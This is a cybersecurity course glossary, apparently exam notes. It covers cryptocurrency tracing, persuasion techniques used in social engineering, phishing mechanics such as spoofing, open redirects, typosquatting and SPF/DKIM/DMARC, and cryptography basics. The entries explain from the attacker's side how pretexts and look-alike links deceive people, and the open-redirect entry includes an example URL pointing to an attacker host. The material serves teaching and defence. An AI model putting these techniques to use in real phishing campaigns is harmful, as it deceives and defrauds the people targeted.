Cryptocurrency Transaction Analysis

Cryptocurrency transaction analysis is the examination of public blockchain transactions to understand flows of funds, wallet relationships, exchange deposits and withdrawals, spending patterns, and possible links between addresses and real-world identities. It is sometimes called blockchain analysis or chain analysis.

WHY it matters: Many cryptocurrencies are pseudonymous, not fully anonymous. A wallet address may not directly show a legal name, but transaction patterns, exchange interactions, reused addresses, timing, public donation pages, NFT profiles, business pages, or social-media posts can connect blockchain activity to people or organizations.

WHAT FOR: Legitimate uses include tracing ransomware payments, fraud investigations, sanctions compliance, stolen-fund tracking, and understanding threat-actor infrastructure. Attackers may use similar analysis to identify wealthy victims, monitor payments, or target people associated with valuable wallets.

Connection: Cryptocurrency transaction analysis is a strong example of correlation risk. A single address may reveal little; combined with exchange activity, public posts, domain records, and timing, it can reveal identity, income patterns, business relationships, or physical risk.

Blockchain

A blockchain is a distributed append-only ledger made of blocks that contain transactions and references to previous blocks. In public cryptocurrencies, many participants can verify the transaction history without trusting a single central database. Cryptographic hashes link blocks, and consensus mechanisms decide which chain state is accepted.

WHY it matters: Blockchain data is usually transparent and persistent. Transactions that appear harmless today may become identifying later when more context is available. This persistence makes blockchain especially relevant to OSINT and privacy.

WHAT FOR: Blockchains support cryptocurrencies, tokens, smart contracts, decentralized applications, and audit trails. In security analysis, blockchains are examined for fund flows, scams, ransomware payments, exchange links, wallet clusters, and suspicious transaction patterns.

Connection: Blockchain is not the same as anonymity. It provides integrity of the ledger, not secrecy of user identity. Its relation to OSINT is that public transaction data can be correlated with external information to identify users or organizations.

Correlation Risk

Correlation risk is the danger that separate pieces of information, each seemingly harmless alone, become sensitive when combined. OSINT is powerful because it correlates identifiers across sources: a username, email address, phone number, wallet address, IP address, job title, photo, location, or writing style can link accounts and identities.

WHY it matters: Many people and organizations underestimate what can be inferred from small public details. A public calendar entry, a LinkedIn role, a GitHub commit, a leaked email, and a DNS record can combine into a complete phishing target profile.

WHAT FOR: Defenders assess correlation risk to decide what information should be public, what should be removed, and what verification procedures must not depend on public facts. Attackers use correlation to move from a weak clue to a reliable identity or pretext.

Connection: Correlation risk is the conceptual bridge between OSINT and social engineering. Personal OSINT plus organizational records plus breach data plus persuasion tactics can produce spear phishing that looks internally legitimate.

■ PERSUASION TECHNIQUES

Authority (persuasion)

Authority is a persuasion technique where the attacker pretends to be, represent, or act on behalf of someone with power or expertise: a CEO, manager, bank, IT support, police officer, professor, auditor, vendor, or government agency.

WHY it matters: People are trained to follow legitimate authority and may suppress doubt when a request appears to come from someone senior or official. Authority is especially effective when combined with urgency: 'The CEO needs this transfer before 14:00' or 'IT requires your MFA code now.'

WHAT FOR: Attackers use authority to obtain credentials, payment approvals, sensitive documents, physical access, password resets, or policy exceptions. Defenders use approval workflows, out-of-band verification, role-based access control, and a culture where employees are allowed to challenge unusual requests.

Connection: Authority is central to whaling, CEO fraud, vishing, tailgating, and impersonation. Technical indicators such as SPF/DKIM/DMARC can reduce some email spoofing, but they do not solve authority abuse from a real compromised account.

Fear and Urgency (persuasion)

Fear and urgency pressure the target to act quickly before they think carefully. The message may claim an account is blocked, payment is overdue, a package will be lost, a tax problem exists, a security incident is active, or a manager is waiting.

WHY it matters: Security decisions often require active thought. Urgency reduces that thinking time and fear makes the target focus on avoiding immediate harm. This is why phishing messages often contain deadlines, threats, warnings, or 'act now' language.

WHAT FOR: Attackers use fear and urgency to make victims click links, open attachments, send money, approve MFA prompts, disclose credentials, or bypass normal verification. Defenders teach users to slow down, verify through known channels, and report urgent requests rather than handling them alone.

Connection: Fear and urgency amplify authority, scarcity, and plausibility. They are common in banking phishing, ransomware-themed emails, CEO fraud, fake IT alerts, and smishing.

Scarcity (persuasion)

Scarcity is the use of limited availability to push a decision: limited-time offers, only a few spots left, expiring access, first-come-first-served benefits, or a short window to claim a reward or avoid a penalty.

WHY it matters: People tend to value scarce opportunities more and may act before checking legitimacy. In phishing, scarcity creates a reason to click now instead of verifying later.

WHAT FOR: Attackers use scarcity in fake giveaways, fake job opportunities, event registration scams, ticket scams, crypto investment scams, and 'limited security update' messages. Defenders counter it by normalizing delay for verification and by making security processes convenient enough that users do not feel forced to choose between security and opportunity.

Connection: Scarcity overlaps with urgency but is not identical. Urgency says time is short; scarcity says the resource is limited. Many scams use both.

Trust and Familiarity (persuasion)

Trust and familiarity occur when the attacker makes the request feel like it comes from a known person, trusted service, normal workflow, familiar brand, or existing relationship. The attacker may use names, writing style, logos, previous conversations, or personal details from OSINT.

WHY it matters: People evaluate requests partly by context. A message that matches an expected sender, project, supplier, or conversation thread feels less risky even if the technical details are suspicious.

WHAT FOR: Attackers use trust and familiarity in spear phishing, reply-chain attacks, vendor impersonation, fake shared documents, and support scams. Defenders use known communication channels, digital signatures where appropriate, verified contact directories, and procedures for unusual requests.

Connection: Trust and familiarity depend heavily on OSINT and sometimes on compromised accounts. Email authentication can verify some domain-level claims, but it cannot prove that the human request is appropriate.

Plausibility (persuasion)

Plausibility means the story is believable enough that the target does not immediately question it. The pretext does not need to be perfect; it only needs to fit the target's expectations, timing, role, and environment.

WHY it matters: Many attacks fail because the story is too generic or unrealistic. OSINT increases plausibility by adding correct details: department names, project names, supplier names, local events, deadlines, invoice formats, or real login pages.

WHAT FOR: Attackers use plausibility to make phishing emails, calls, physical access requests, and fake websites feel normal. Defenders reduce plausibility-based risk by giving employees clear rules for verification and by not publishing unnecessary workflow details.

Connection: Plausibility ties together pretext, rapport, authority, and context-dependent decisions. In exams, treat plausibility as the quality that makes a social-engineering scenario fit the victim's reality.

Curiosity (persuasion)

Curiosity persuades the target by making them want to know more. Examples include 'confidential salary list', 'photos from the event', 'complaint about you', 'new schedule', 'unexpected invoice', or 'private document shared with you.'

WHY it matters: Curiosity can override caution because the victim feels an information gap. It is often used to make users open attachments, click links, or log in to fake document-sharing sites.

WHAT FOR: Attackers use curiosity in phishing attachments, malicious links, fake cloud documents, USB baiting, and internal rumor-themed emails. Defenders counter it with attachment sandboxing, link protection, document-sharing awareness, and a reporting culture that does not punish cautious verification.

Connection: Curiosity is related to baiting. The 'bait' can be a file, USB drive, link, message, or opportunity that promises interesting information.

Reciprocity (persuasion)

Reciprocity is the tendency to return a favor or comply after someone appears to help, give, or concede something. An attacker may provide useful information, a gift, technical help, or a friendly gesture before making the real request.

WHY it matters: Reciprocity can make a target feel socially obligated. This is powerful in long-term social engineering where rapport is built before credentials, access, or information are requested.

WHAT FOR: Attackers use reciprocity in support scams, fake recruiter approaches, vendor relationships, conference networking, and physical premises attacks. Defenders rely on policy boundaries: gifts, favors, and friendliness must not bypass authentication, authorization, or access-control procedures.

Connection: Reciprocity supports rapport and trust. It is less about technical deception and more about manipulating normal social expectations.

Liking and Social Proof (persuasion)

Liking means people are more likely to help someone they like, identify with, or perceive as similar. Social proof means people are more likely to act when they believe others like them are already doing it: 'everyone in your department has completed this', 'your colleagues already approved', or 'this is the standard process.'

WHY it matters: Humans use social cues to make decisions quickly. A request from a friendly person, a person with shared interests, or someone who appears accepted by the group can bypass suspicion.

WHAT FOR: Attackers use liking and social proof in pretext calls, social-media approaches, fake surveys, fake internal campaigns, and tailgating scenarios. Defenders use verification that does not depend on politeness, familiarity, or perceived group behavior.

Connection: Social proof can be created through OSINT: mentioning real colleagues, departments, events, or group names. It is also common in phishing messages that claim a security update is mandatory for all employees.

Trustworthiness / Appearance (persuasion)

Trustworthiness and appearance refer to how legitimate something looks: professional email formatting, logos, signatures, official-looking websites, uniforms, badges, domain names, HTTPS padlocks, polished language, or confident behavior.

WHY it matters: People often use appearance as a shortcut for legitimacy. A convincing logo or clean website can make a fake request feel trustworthy even when the sender, URL, or process is wrong.

WHAT FOR: Attackers invest in look-alike websites, realistic email templates, fake documents, fake uniforms, spoofed display names, and well-designed phishing pages. Defenders train users to verify the actual domain, sender, request path, and business process - not only the visual appearance.

Connection: Website spoofing, homoglyph domains, typosquatting, and URL shorteners all exploit appearance. Technical controls help, but user interpretation of appearance remains a major attack surface.

Reward (persuasion)

Reward persuasion offers a benefit: money, gift cards, discounts, access, jobs, prizes, exclusive content, early registration, refunds, or help. It can also appear as a professional reward such as faster support or approval.

WHY it matters: Rewards shift attention toward gain rather than risk. Even small rewards can make people ignore warning signs, especially when combined with scarcity or social proof.

WHAT FOR: Attackers use reward in fake surveys, giveaway scams, recruitment scams, crypto scams, malicious app downloads, and baiting. Defenders counter reward-based attacks by warning users that unexpected benefits should be verified through trusted channels.

Connection: Reward is often the positive counterpart to fear. Fear says act to avoid loss; reward says act to gain benefit. Both can cause rushed decisions.

Cognitive Bias

A cognitive bias is a systematic mental shortcut or distortion that affects judgment. In security, biases influence how users interpret messages, risks, authority, inconvenience, familiarity, and urgency.

WHY it matters: Social engineering does not need victims to be stupid. It exploits normal human decision-making under pressure, distraction, routine, or emotion. Examples include authority bias, confirmation bias, optimism bias, familiarity bias, and loss aversion.

WHAT FOR: Attackers design messages that fit expected beliefs and routines: 'IT always sends password-expiry emails', 'my manager often asks for urgent help', or 'this package notification matches what I ordered.' Defenders design processes that reduce reliance on memory and judgment alone.

Connection: Cognitive bias explains why security awareness must be supported by usable controls. If verification is slow, annoying, or unclear, users will work around it.

Barriers to Compliance

Barriers to compliance are factors that make people less likely to follow security rules: inconvenience, time pressure, unclear instructions, poor usability, lack of feedback, fear of blame, too many alerts, social pressure, or conflict with job goals.

WHY it matters: A technically correct policy fails if people cannot or will not follow it. If verifying emails, locking doors, reporting suspicious messages, or checking physical access feels like an obstacle, users may skip it.

WHAT FOR: Attackers exploit barriers by creating situations where the secure action feels costly: 'I need this now', 'do not bother the manager', 'the guest is waiting', or 'the payment deadline is today.' Defenders reduce barriers by making secure behavior fast, normal, and supported by management.

Connection: Barriers to compliance explain why awareness alone is not enough. Security design must include process design, usability, escalation paths, and a no-blame reporting culture.

Context-Dependent Decisions

Context-dependent decisions are decisions shaped by the situation: time, place, workload, role, relationship, stress, device, channel, and perceived consequences. The same person may make a careful decision at a desk and a risky decision on a phone while rushing.

WHY it matters: Social engineers manipulate context. They call near closing time, email during busy periods, use current events, reference real deadlines, or approach a security desk when staff are

distracted.

WHAT FOR: Defenders use context-aware procedures: high-risk requests require verification regardless of context, payment changes require dual approval, and physical access exceptions require an escort or supervisor. Training should use realistic scenarios, not only ideal conditions.

Connection: Context-dependent decisions connect to plausibility and emotional triggers. A request is more convincing when it arrives in a context where it makes sense.

Emotional Triggers

Emotional triggers are feelings deliberately activated to influence action: fear, urgency, greed, curiosity, sympathy, embarrassment, guilt, anger, pride, helpfulness, or excitement.

WHY it matters: Emotion narrows attention and can reduce careful checking. A victim who is afraid of account loss, excited about a reward, embarrassed by an accusation, or sympathetic to someone in distress may act before verifying.

WHAT FOR: Attackers use emotional triggers in phishing, vishing, smishing, romance scams, charity scams, physical access pretexts, and fake support incidents. Defenders teach users to treat strong emotion as a warning sign: pause, verify, and report.

Connection: Emotional triggers are the engine behind many persuasion techniques. Fear and urgency, scarcity, reward, curiosity, and reciprocity all work partly by changing emotional state.

■ PHISHING TECHNICAL

SMTP (Simple Mail Transfer Protocol)

SMTP is the core protocol used to transfer email between mail servers and from clients to mail infrastructure. It was originally designed in an environment with limited built-in authentication and security assumptions, which is why later mechanisms such as SPF, DKIM, and DMARC were added to reduce spoofing.

WHY it matters: Basic email fields are easy to misunderstand. The visible From name, the From address, the envelope sender, the Return-Path, the sending server, and the authenticated user may not all be the same. Phishing abuses this complexity.

WHAT FOR: Defenders analyze SMTP headers to determine where a message came from, which servers handled it, whether SPF/DKIM/DMARC passed, and whether the visible sender aligns with the authenticated domain. Attackers abuse weak SMTP assumptions to send messages that appear to come from trusted people or brands.

Connection: SMTP is the technical foundation behind display-name spoofing, sender-address spoofing, message tampering, and email authentication controls.

Display-Name Spoofing

Display-name spoofing occurs when the attacker sets the visible sender name to a trusted identity while using a different email address. Example: the inbox shows 'Alice' or 'Nordea Support', but the actual address is attacker@mail.example.

WHY it matters: Many users look only at the display name, especially on mobile devices where the full address may be hidden. This makes display-name spoofing a cheap and common phishing method.

WHAT FOR: Attackers use it for CEO fraud, helpdesk impersonation, fake bank messages, and supplier scams. Defenders train users to inspect the actual address and use mail-client warnings for external senders or impersonation attempts.

Connection: SPF, DKIM, and DMARC may pass for the attacker's real domain even while the display name says a trusted brand. Therefore display-name spoofing is not fully solved by email authentication.

Sender-Address Spoofing

Sender-address spoofing occurs when the attacker falsifies the visible From address itself, making the email appear to come from a domain or account they do not control. This is possible when sending infrastructure is misconfigured or when the receiver does not enforce authentication results.

WHY it matters: A message from alice@company.com is more convincing than Alice <attacker@mail.com>. Sender-address spoofing directly attacks trust in email identity.

WHAT FOR: Attackers use sender-address spoofing for phishing, malware delivery, fake invoices, CEO fraud, and password reset lures. Defenders publish and enforce SPF, DKIM, and DMARC, monitor spoofing attempts, and configure gateways to handle failed authentication properly.

Connection: Sender-address spoofing is the main reason SPF, DKIM, and DMARC exist. DMARC alignment is especially important because it checks whether the authenticated domain aligns with the visible From domain.

Message Tampering

Message tampering is unauthorized modification of an email message, its headers, its body, its links, or its attachments. Tampering may happen before delivery, through a compromised account, through a malicious forwarding rule, through a man-in-the-middle scenario on unprotected channels, or through alteration of a legitimate message template.

WHY it matters: Tampering attacks integrity. A legitimate invoice can become malicious if the payment account is changed. A legitimate thread can be hijacked if a compromised mailbox is used to insert new instructions.

WHAT FOR: Attackers tamper with payment instructions, URLs, attachments, reply-to fields, or document content. Defenders use DKIM to sign message content, TLS for transport protection, mailbox security, audit logs, and payment verification procedures.

Connection: DKIM directly addresses some message-integrity problems by allowing the receiver to verify that signed headers and body content were not altered after signing. It does not prove the message is safe or that the sender's request is legitimate.

Website Spoofing

Website spoofing is the creation of a site that imitates a legitimate service, brand, bank, login portal, document portal, or company page. It is commonly used for credential harvesting, payment fraud, malware delivery, and fake support workflows.

WHY it matters: Phishing often succeeds after the click. The email only drives the victim to the spoofed website; the website collects credentials, MFA codes, payment data, documents, or malware downloads.

WHAT FOR: Attackers use logos, copied HTML/CSS, HTTPS certificates, look-alike domains, URL shorteners, open redirects, and fake login flows. Defenders teach domain checking, use password managers that only autofill on the correct domain, enforce MFA, monitor look-alike domains, and take down phishing sites.

Connection: Website spoofing depends on URL anatomy. The registrable domain - not the logo, page title, or text before/after it - determines who controls the site.

URL Anatomy (registrable domain, subdomain, path)

A URL contains several parts. In `https://login.example.com/account/reset`, 'https' is the scheme, 'login.example.com' is the host, 'example.com' is the registrable domain, 'login' is a subdomain, and '/account/reset' is the path. The registrable domain is the part controlled by the domain owner.

WHY it matters: Attackers hide the real site by adding trusted words in the wrong place. In `https://bank.com.attacker.net/login`, the registrable domain is `attacker.net`, not `bank.com`. In `https://attacker.net/bank.com/login`, `bank.com` is only part of the path. Users who do not know URL anatomy can be fooled by familiar words.

WHAT FOR: Defenders teach users to identify the registrable domain and use browser or gateway tools to flag suspicious domains. Analysts use URL anatomy to distinguish legitimate subdomains from attacker-controlled domains.

Connection: URL anatomy explains URL shorteners, typosquatting, homoglyph domains, open redirects, and website spoofing. It is one of the most exam-relevant technical phishing concepts because it directly explains how fake links look legitimate.

URL Shortener (e.g., tinyurl)

A URL shortener converts a long URL into a short redirect link, such as a tinyurl-style link. When clicked, the short URL redirects the browser to the final destination.

WHY it matters: Shorteners hide the destination domain until the redirect is resolved. That makes them useful for legitimate sharing but also useful for phishing, malware links, and bypassing simple visual inspection.

WHAT FOR: Attackers use shorteners to conceal malicious domains, make messages look cleaner, track clicks, and change destinations after sending. Defenders use link-expansion tools, email gateways, safe browsing checks, and user training: do not trust a shortened link merely because it looks familiar.

Connection: A shortener is not malicious by itself. The risk is loss of visibility and redirection. It connects to open redirects and website spoofing because both hide or delay recognition of the final destination.

Homoglyph / Look-alike Domain

A homoglyph or look-alike domain uses characters that visually resemble trusted characters. Examples include replacing 'o' with '0', 'l' with '1', or using non-Latin characters that look like Latin letters. The goal is to make the domain appear almost identical to a trusted domain.

WHY it matters: Humans read shapes and patterns quickly. A domain can look correct at a glance while being technically different and attacker-controlled.

WHAT FOR: Attackers use look-alike domains for phishing, fake login pages, malware delivery, and brand impersonation. Defenders monitor for similar domain registrations, use browser protections, educate users, and rely on password managers that match exact domains.

Connection: Homoglyph attacks are closely related to Internationalized Domain Names (IDN) and typosquatting. All exploit the gap between visual similarity and technical domain identity.

Internationalized Domain Name (IDN)

An Internationalized Domain Name allows domain names to contain non-ASCII characters, such as letters from non-Latin scripts or characters with accents. IDNs are encoded in DNS using Punycode, often beginning with 'xn--'.

WHY it matters: IDNs are legitimate and important for global internet use, but they can be abused for homoglyph attacks. A character from another alphabet may look like a normal Latin character, creating a domain that visually imitates a trusted brand.

WHAT FOR: Defenders should understand IDN/Punycode display behavior and monitor for look-alike registrations. Browsers and security gateways may display suspicious IDNs as Punycode to reduce confusion.

Connection: IDN is the technical mechanism that enables some sophisticated look-alike domains. It is not inherently malicious; the risk comes from visual deception and user interpretation.

Open Redirect

An open redirect is a web application behavior where a URL on a legitimate domain redirects users to a destination supplied by a parameter, without adequate validation. Example pattern:
`trusted.example/redirect?url=https://attacker.example.`

WHY it matters: The initial link can begin with a trusted domain, which helps bypass user suspicion and sometimes weak filters. After clicking, the victim is silently sent to the attacker's phishing site.

WHAT FOR: Attackers use open redirects to hide malicious destinations, improve phishing credibility, and evade link scanning. Defenders fix open redirects by allowing only approved destinations, using relative paths, warning before external redirects, and removing unnecessary redirect parameters.

Connection: Open redirects exploit trust in the first visible domain. They connect to URL shorteners and website spoofing because the user must understand that the final destination matters, not only the starting URL.

Typosquatting

Typosquatting is registering domains that are common misspellings, keyboard-neighbor errors, missing-dot versions, plural/singular variants, or visually similar versions of legitimate domains. Example patterns include `exampel.com`, `example-login.com`, or `examplele.com`.

WHY it matters: Users mistype domains, click quickly, or read domains imprecisely. Typosquatted domains can host phishing pages, ads, malware, or fake support pages.

WHAT FOR: Attackers use typosquatting for credential theft, brand impersonation, malware delivery, and traffic capture. Defenders register critical variants, monitor new domains, use takedown procedures, and train users to use bookmarks or password managers for sensitive services.

Connection: Typosquatting differs from homoglyph attacks: typosquatting relies on spelling mistakes or similar strings; homoglyph relies on visually similar characters. Both support website spoofing.

SPF (Sender Policy Framework)

SPF is an email authentication mechanism published as a DNS TXT record. It tells receiving mail servers which IP addresses or mail servers are authorized to send email for a domain. The receiver checks whether the sending server is permitted by the domain's SPF policy.

WHY it matters: SPF reduces simple sender-domain spoofing by letting receivers reject or flag mail sent from unauthorized infrastructure. It is not complete because SPF authenticates the envelope sender domain, not necessarily the visible From domain the user sees.

WHAT FOR: Organizations publish SPF records to list their legitimate mail sources: company mail servers, cloud mail providers, ticket systems, marketing platforms, and other authorized senders. Defenders review SPF to prevent missing senders, overly broad includes, and weak policies.

Connection: SPF is one part of the anti-phishing trio with DKIM and DMARC. DMARC uses SPF results only when the SPF-authenticated domain aligns with the visible From domain.

v=spf1 a -all (SPF record example)

The record `'v=spf1 a -all'` is an SPF TXT record. `'v=spf1'` identifies the record as SPF version 1. The mechanism `'a'` means that the domain's A/AAAA address is authorized to send mail. The qualifier `'-all'` means hard fail for every sender not matched earlier.

WHY it matters: This small example shows how SPF is a policy language. The domain is saying: allow the host address represented by this domain's A record, and treat all other senders as unauthorized.

WHAT FOR: SPF records are used to control which systems may send mail for a domain. In real organizations, records often include mechanisms such as `'mx'`, `'ip4'`, `'ip6'`, and `'include:provider.example'` to authorize mail providers.

Connection: '-all' is hard fail. '~all' is soft fail. A strict record can reduce spoofing but can also break legitimate mail if all authorized senders are not included.

Soft Fail vs Hard Fail (SPF)

In SPF, soft fail and hard fail are policy results for senders that do not match the authorized mechanisms. Soft fail is usually written '~all' and means the sender is probably unauthorized but should normally be accepted or marked suspicious. Hard fail is written '-all' and means the sender is unauthorized and should be rejected or strongly failed.

WHY it matters: The difference affects both security and deliverability. Soft fail is safer during testing or migration because it reduces accidental blocking. Hard fail is stronger against spoofing but requires accurate SPF configuration.

WHAT FOR: Administrators often start with soft fail while discovering all legitimate senders, then move toward hard fail when confident. Receivers may still apply local policy, so SPF fail does not guarantee identical handling everywhere.

Connection: SPF failure alone is not DMARC failure unless alignment rules are considered. DMARC policy tells receivers what to do when aligned SPF and DKIM do not authenticate the visible From domain.

DKIM (DomainKeys Identified Mail)

DKIM is an email authentication and integrity mechanism. The sending domain signs selected email headers and body content with a private key. The receiving server retrieves the public key from DNS and verifies the signature.

WHY it matters: DKIM helps prove that signed parts of the message were not changed after signing and that the signer controlled the domain's private key. It addresses message tampering better than SPF because the signature travels with the message even if it is forwarded.

WHAT FOR: Organizations use DKIM to authenticate mail from their domain and protect message integrity. Analysts examine DKIM results to see which domain signed the message and whether the signature survived forwarding or modification.

Connection: DKIM does not automatically mean the visible From domain is legitimate. DMARC alignment checks whether the DKIM signing domain aligns with the visible From domain. DKIM plus DMARC is much stronger than DKIM alone.

DMARC (Domain-based Message Authentication, Reporting, and Conformance)

DMARC is an email authentication policy framework built on SPF and DKIM. A domain publishes a DMARC DNS record telling receivers how to handle mail that fails authentication and alignment: monitor, quarantine, or reject. DMARC can also request aggregate and forensic-style reports.

WHY it matters: SPF and DKIM by themselves authenticate technical domains that users may not see. DMARC ties authentication to the visible From domain and gives domain owners policy control. This is why DMARC is a major anti-phishing control for brand and domain protection.

WHAT FOR: Organizations deploy DMARC to detect unauthorized use of their domain, improve email trust, reduce spoofing, and collect visibility into who is sending mail on their behalf. A typical deployment moves from p=none monitoring, to p=quarantine, to p=reject once legitimate senders are aligned.

Connection: DMARC is not a magic phishing solution. It protects domain spoofing of participating domains, but it cannot stop look-alike domains, display-name spoofing from other domains,

compromised legitimate accounts, or malicious content sent from authorized systems.

DMARC Alignment

DMARC alignment means the domain authenticated by SPF or DKIM must match, or be organizationally related to, the domain in the visible From header. Alignment can be relaxed or strict. Relaxed alignment allows subdomain/organizational-domain relationships; strict alignment requires an exact domain match.

WHY it matters: Alignment is what makes DMARC user-relevant. Without alignment, an attacker could send mail that passes SPF for attacker.com while displaying a From address that suggests bank.com. DMARC asks whether the authenticated domain actually aligns with what the user sees.

WHAT FOR: Email administrators configure SPF and DKIM so legitimate mail streams align with the From domain. Analysts use alignment results to distinguish technically authenticated mail from mail authenticated for some unrelated domain.

Connection: A message passes DMARC if either SPF passes with alignment or DKIM passes with alignment. This 'either aligned SPF or aligned DKIM' logic is essential for exam questions.

Quarantine Policy / Reject Policy (DMARC)

A DMARC quarantine policy, written p=quarantine, asks receivers to treat failing messages as suspicious, often by placing them in spam or junk. A reject policy, written p=reject, asks receivers to refuse failing messages during SMTP processing or otherwise block delivery.

WHY it matters: Policy strength determines enforcement. p=none only monitors; p=quarantine applies partial enforcement; p=reject is the strongest anti-spoofing posture. Moving too quickly to reject can block legitimate mail if SPF/DKIM alignment is incomplete.

WHAT FOR: Organizations usually deploy DMARC gradually: monitor with p=none, fix legitimate senders, test quarantine, then move to reject for mature protection. Receivers may apply local rules, but the policy is the domain owner's stated instruction.

Connection: Quarantine/reject policies depend on DMARC alignment, not just raw SPF or DKIM results. They protect against direct spoofing of the domain but do not prevent typosquatting, homoglyph domains, open redirects, or compromised real accounts.

CYBERSECURITY COURSE

Cryptography and Multi-Party Computation Definitions

Open-book exam reference - Ctrl+F / Cmd+F friendly term explanations

Selected sections: CRYPTOGRAPHY and MULTI-PARTY COMPUTATION (MPC)

■ CRYPTOGRAPHY

Cryptography

Cryptography is the discipline of protecting information with mathematical techniques. In cybersecurity it is used to protect confidentiality, integrity, authentication, and non-repudiation at the data level. Encryption hides content, hash functions summarize data, message authentication codes and digital signatures detect unauthorized modification, and protocols such as TLS combine several primitives into secure communication.

WHY it matters: many systems must communicate over networks that cannot be fully trusted. Cryptography lets two parties exchange data safely even when attackers can observe traffic, store traffic, replay messages, or attempt to modify messages. It is a core control for the CIA triad: encryption supports confidentiality; hashes, MACs, and signatures support integrity; certificates and signatures support authentication.

Connection: cryptography is not the same as security by itself. A strong algorithm can still fail if it is used with weak keys, reused nonces, bad randomness, obsolete protocol versions, missing authentication, or unsafe implementation. Exam questions often test the difference between a primitive such as AES or RSA and a complete protocol such as TLS.

MD5 (hash function - not suitable for passwords)

MD5 is an old cryptographic hash function that outputs a 128-bit digest. It was historically used for file checksums and password storage, but it is no longer considered collision-resistant and is not suitable for security-sensitive integrity protection or password hashing.

WHY it matters: MD5 is fast, and speed is exactly what makes it dangerous for passwords. If password hashes are stolen, an attacker can test billions of MD5 guesses quickly with GPUs or specialized hardware. MD5 also has practical collision attacks, meaning two different inputs can be crafted with the same digest.

Connection: MD5 may still appear in legacy systems, CTFs, old databases, and tools such as John the Ripper. For passwords, use dedicated password hashing algorithms such as Argon2id, scrypt, bcrypt, or PBKDF2 with salts and work factors. For file integrity in modern systems, SHA-256 or SHA-3 family hashes are typical baseline choices, but hashes alone do not prove authenticity unless combined with a key or signature.

Password Hashing (Argon2id, scrypt, bcrypt, PBKDF2)

Password hashing is the practice of storing a one-way, deliberately slow derived value instead of storing the password itself. When a user logs in, the system hashes the entered password with the stored salt and parameters, then compares the result with the stored hash. The original password should not be recoverable from the stored value.

WHY it matters: password databases get leaked. Proper password hashing limits the damage by making offline guessing expensive. Argon2id and scrypt are memory-hard, meaning attackers need both computation and significant memory to test guesses. bcrypt is widely deployed and intentionally slow. PBKDF2 is older but still common in standards and enterprise systems when configured with high iteration counts.

Connection: password hashing is not the same as ordinary hashing. General hashes such as MD5 or SHA-256 are too fast. Password hashing requires a unique salt per password, a tunable cost, safe parameter storage, and preferably a modern algorithm. MFA, rate limiting, lockout policy, and password managers complement password hashing because hashing only helps after the database has been stolen; it does not stop phishing or online guessing by itself.

Salt (in password hashing)

A salt is a random, unique value stored with a password hash and mixed into the password hashing process. The salt is not secret. Its job is to make identical passwords produce different hashes and to prevent attackers from using one precomputed table against many accounts.

WHY it matters: without salts, two users with the same password have the same hash, which leaks password reuse inside the database. Without salts, attackers can build or buy rainbow tables for common passwords and hash algorithms. With unique salts, the attacker must attack each hash separately.

Connection: salt is different from a pepper. A salt is public and stored alongside the hash; a pepper is a separate secret kept outside the password database, often in configuration or an HSM. Salts do not make weak passwords strong by themselves. They must be combined with a slow password hashing algorithm and sensible parameters.

Hash Function

A hash function maps input data of arbitrary length to a fixed-length output called a hash, digest, or fingerprint. A cryptographic hash function should be preimage-resistant, second-preimage-resistant, and collision-resistant: given a digest it should be hard to find an input; given one input it should be hard to find a second input with the same digest; and it should be hard to find any two distinct inputs with the same digest.

WHY it matters: hashes are used for integrity checks, digital signatures, password storage, file identification, blockchains, software downloads, and deduplication. A tiny input change should produce a completely different digest, which makes hashes useful for detecting accidental or malicious changes.

Connection: a hash by itself gives integrity against accidental change, not authenticity against an active attacker. An attacker who can modify both the file and the displayed hash can replace both. To prove authenticity, use a digital signature, MAC/HMAC, or trusted distribution channel. Password hashing is a specialized use case requiring slow, salted algorithms.

Digital Signature

A digital signature is a cryptographic mechanism that lets a signer use a private key to produce a signature over data, while anyone with the matching public key can verify that signature. A valid signature shows that the data was signed by someone controlling the private key and that the signed data has not changed.

WHY it matters: digital signatures provide integrity, authentication, and non-repudiation. They are used in software updates, TLS certificates, signed documents, secure email, package managers, code signing, and blockchain transactions. If an attacker modifies signed data, verification fails.

Connection: signatures are related to but different from encryption. Encryption hides content; a signature proves origin and integrity. Many public key systems can support both concepts, but real-world schemes use carefully designed padding and protocol rules. Signing a hash of the message is common because signing large data directly is inefficient.

Checksum

A checksum is a value computed from data to detect accidental corruption. Simple checksums and CRCs are used in networking, storage, and file transfer to catch errors caused by noise, transmission problems, or disk faults.

WHY it matters: checksums protect reliability, not necessarily security. They are fast and useful for detecting accidental changes, but ordinary checksums are not designed to resist malicious modification. An attacker who can alter the data can usually recompute a simple checksum.

Connection: do not confuse checksums with cryptographic hashes or digital signatures. A SHA-256 digest is a cryptographic hash and can be used as a stronger integrity fingerprint, but it still does not prove who created the file unless the digest is delivered through a trusted channel or signed.

TLS (Transport Layer Security)

TLS is the standard protocol for securing network communication. It is used by HTTPS and many other protocols to provide encryption, server authentication, integrity protection, and sometimes client authentication. During the TLS handshake, the parties negotiate protocol version and cipher suites, authenticate certificates, derive session keys, and then use fast symmetric encryption for the application data.

WHY it matters: TLS protects data in transit on untrusted networks. Without TLS, credentials, cookies, session tokens, personal data, and API traffic can be read or modified by a man-in-the-middle attacker. TLS is one of the main practical controls for confidentiality and integrity on the web.

Connection: TLS uses both asymmetric and symmetric cryptography. Public key cryptography authenticates the server and establishes keys; symmetric encryption such as AES-GCM or ChaCha20-Poly1305 protects bulk traffic. TLS does not secure the endpoint itself: malware in the browser, a compromised server, bad certificate validation, or phishing can still defeat the overall security goal.

SSL

SSL stands for Secure Sockets Layer, the older predecessor to TLS. In everyday speech people sometimes still say 'SSL certificate,' but modern secure web traffic should use TLS, not SSL. SSLv2 and SSLv3 are obsolete and insecure.

WHY it matters: exam questions may use SSL as a historical term or as a warning sign. Legacy SSL versions are vulnerable to protocol weaknesses, downgrade issues, and attacks such as POODLE against SSLv3. A system that still supports SSL should be treated as misconfigured or outdated.

Connection: TLS replaced SSL. The practical distinction is that TLS is the modern protocol family, while SSL is a deprecated name and technology. Hardening often includes disabling SSLv2, SSLv3, TLS 1.0, and TLS 1.1, then allowing only modern TLS versions and cipher suites.

Public Key / Private Key

A public key and private key are a mathematically related key pair used in asymmetric cryptography. The public key can be shared widely. The private key must remain secret. Depending on the scheme, the public key can verify signatures or encrypt data, while the private key can create signatures or decrypt data.

WHY it matters: key pairs solve the key-distribution problem that symmetric encryption has. You do not need a pre-shared secret with every person; you can publish a public key and keep the private key protected. This enables TLS certificates, SSH keys, digital signatures, secure update systems, and many cryptocurrency wallets.

